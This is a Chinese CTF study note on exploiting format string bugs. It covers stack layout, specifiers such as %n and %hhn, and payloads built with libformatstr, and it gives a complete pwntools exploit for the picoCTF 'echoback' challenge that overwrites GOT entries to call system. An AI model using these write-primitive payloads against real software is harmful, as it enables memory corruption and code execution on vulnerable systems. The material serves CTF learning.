格式化字符串

写在前面

记录一下对于格式化字符串的利用,如果比赛里有格式化字符串的题如何迅速拿到一血

基本知识

格式化字符串原理

借用ctf-wiki上的图
格式化字符串
此时printf的参数分布如下:

1
2
3
4
5
6
7
8
9
some value           # 高地址
some value
some value
3.14
123456
addr of "red"
addr of format string: Color %s... #低地址
rip
...

对于一个一般格式化字符串利用场景中,vuln函数的栈上情况是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
some value
some value
some value
some value
formatstr content
formatstr content
formatstr content # considered as arg5
somevalue # considered as arg4
somevalue # considered as arg3
arg2
arg1
addr of format string # arg0
eip
printf's ebp

从addr of format string到formatstr content的距离(按照4字节为单位64位机按8字节)叫做offset.

记录表

1
2
3
4
5
6
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 到目前为止所写的字符数

不记得原理可以看下表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
这部分来自icemakr的博客

32位



'%{}$x'.format(index) // 读4个字节
'%{}$p'.format(index) // 同上面
'${}$s'.format(index)


'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节

////////////////////////////
64位



'%{}$x'.format(index, num) // 读4个字节
'%{}$lx'.format(index, num) // 读8个字节
'%{}$p'.format(index) // 读8个字节
'${}$s'.format(index)


'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节

%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 栈上的第一个QWORD

libformatstr

基本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#生成pattern串判断参数在格式化串的位置 
#BUF_SZ = 80 格式化串的长度
#pat = libformatstr.make_pattern(BUF_SZ)
#io.sendline(pat)
#res = io.recv()
# argnum 表示第argnum个参数位于格式化串首部
# padding 表示使参数对齐需要添加的字节数 0-3
#argnum, padding = libformatstr.guess_argnum(res, BUF_SZ)
#print('argnum:%d padding:%d'%(argnum, padding))

# 写入printf.got为system
argnum = 6
padding = 0
p = libformatstr.FormatStr()
p[e.got['printf']]= e.plt['system']
p[e.got['exit']] = 0x080485EE # main
fmt_str = p.payload(argnum, padding, start_len=0) # 0 表示之前打印出的字符
log.info('payload:\n %s' % hexdump(fmt_str))

举例

case1

替换got表内容

1
2
3
4
5
6
7
8
9
10
11
import sys
from libformatstr import FormatStr

addr = 0x08049580
system_addr = 0x080489a3

p = FormatStr()
p[addr] = system_addr

# buf is 14th argument, 4 bytes are already printed
sys.stdout.write( p.payload(14, start_len=4) ) # print格式化字符串之前的 已经被打印的字符

case2

在某个地址放rop

1
2
3
4
5
6
7
8
9
import sys
from libformatstr import FormatStr

addr = 0x08049580
rop = [0x080487af, 0x0804873c, 0x080488de]
p = FormatStr()
p[addr] = rop

sys.stdout.write( p.payload(14) )

case3

猜偏移和padding

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import sys
from libformatstr import FormatStr

# let's say we have do_fmt function,
# which gives us only output of format string
# (you can also just copy fmtstr and output manually)

buf_size = 250 # fix buf_size to avoid offset variation
res = do_fmt(make_pattern(buf_size))
argnum, padding = guess_argnum(res, buf_size)

# of course you can use it in payload generation

p = FormatStr(buf_size)
p[0xbffffe70] = "\x70\xfe\xff\xbf\xeb\xfe" # yes, you can also put strings

sys.stdout.write( p.payload(argnum, padding, 3) ) # we know 3 bytes were printed already

case4

64位的情况下

1
2
3
4
5
from libformatstr import FormatStr
f=FormatStr(isx64=1) #This option force script to use 64bit address while generating payload
f[0x1234]=0x1
f[0x5678]=0x2
f[0xabcd]=0x3

实例

picoctf-echoback

坑就是一个,之前没用recvuntil,重新回到main之前莫名其妙打印一堆东西,调了我半天。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from libformatstr import *
import sys
context.log_level = 'debug'

elf = ELF('./echoback')
sh = remote(sys.argv[1], sys.argv[2])
puts_got = 0x0804A01C
sys_got = 0x0804A020
buf_size = 100

# p = FormatStr()
# res = do_fmt(make_pattern(buf_size))
# argnum, padding = guess_argnum(res, buf_size)
# print 'argnum:',argnum,' padding:',padding
# argnum 7, padding 0

p = FormatStr()
p[elf.got['puts']] = 0x080485ab
p[elf.got['printf']] = elf.plt['system']
pause()
sh.recvuntil('message:')
payload = p.payload(7,0,start_len=0)
sh.sendline(payload)
sh.recvuntil('message:')
sh.interactive()

文章目录
  1. 1. 写在前面
  2. 2. 基本知识
    1. 2.1. 格式化字符串原理
    2. 2.2. 记录表
  3. 3. libformatstr
    1. 3.1. 基本
    2. 3.2. 举例
      1. 3.2.1. case1
      2. 3.2.2. case2
      3. 3.2.3. case3
      4. 3.2.4. case4
  4. 4. 实例
    1. 4.1. picoctf-echoback
|